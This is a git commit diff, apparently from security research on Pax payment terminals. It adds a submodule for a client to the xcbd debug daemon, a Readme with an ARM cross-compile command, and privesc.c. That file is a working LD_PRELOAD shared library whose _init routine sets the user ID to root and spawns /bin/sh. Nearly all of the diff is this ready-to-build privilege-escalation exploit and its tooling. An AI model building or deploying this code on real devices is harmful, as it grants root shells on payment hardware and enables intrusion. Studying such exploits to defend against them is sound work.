Added privesc code and xcb-client
This commit is contained in:
		
							parent
							
								
									4ae897ecec
								
							
						
					
					
						commit
						499c1e91e8
					
				
							
								
								
									
										3
									
								
								.gitmodules
									
									
									
									
										vendored
									
									
										Normal file
									
								
							
							
						
						
									
										3
									
								
								.gitmodules
									
									
									
									
										vendored
									
									
										Normal file
									
								
							| @ -0,0 +1,3 @@ | ||||
| [submodule "code/prolin-xcb-client"] | ||||
| 	path = code/prolin-xcb-client | ||||
| 	url = https://git.lsd.cat/g/prolin-xcb-client | ||||
							
								
								
									
										12
									
								
								code/Readme.md
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										12
									
								
								code/Readme.md
									
									
									
									
									
										Normal file
									
								
							| @ -0,0 +1,12 @@ | ||||
| ## prolin-xcb-tools | ||||
| Python-ADB fork in order to communicate with the Pax `xcbd` daemon. Supports natively directory listing, reading and writing. Port forwarding may be done trough the original `xcb` client. | ||||
| 
 | ||||
| ## privesc.c | ||||
| The shared library used for privilege escalation. | ||||
| 
 | ||||
| Compile with: | ||||
| 
 | ||||
| ``` | ||||
| arm-none-eabi-gcc -shared -fPIC -o privesc.so privesc.c -nostartfiles -static | ||||
| ``` | ||||
| 
 | ||||
							
								
								
									
										14
									
								
								code/privesc.c
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										14
									
								
								code/privesc.c
									
									
									
									
									
										Normal file
									
								
							| @ -0,0 +1,14 @@ | ||||
| #include <stdio.h> | ||||
| #include <sys/types.h> | ||||
| #include <stdlib.h> | ||||
| #include <unistd.h> | ||||
| 
 | ||||
| int _init() { | ||||
|         unsetenv("LD_PRELOAD"); | ||||
|         puts("LD_PRELOAD is working!"); | ||||
|         setreuid(0, 0); | ||||
|         setuid(0); | ||||
|         printf("UID: %d. EUID: %d.\n", getuid(), geteuid()); | ||||
|         system("/bin/sh"); | ||||
|         exit(0); | ||||
| } | ||||
							
								
								
									
										1
									
								
								code/prolin-xcb-client
									
									
									
									
									
										Submodule
									
								
							
							
								
								
								
								
								
								
							
						
						
									
										1
									
								
								code/prolin-xcb-client
									
									
									
									
									
										Submodule
									
								
							| @ -0,0 +1 @@ | ||||
| Subproject commit 8d00509ab221200388da9be68f406c7982f9cf60 | ||||
		Loading…
	
		Reference in New Issue
	
	Block a user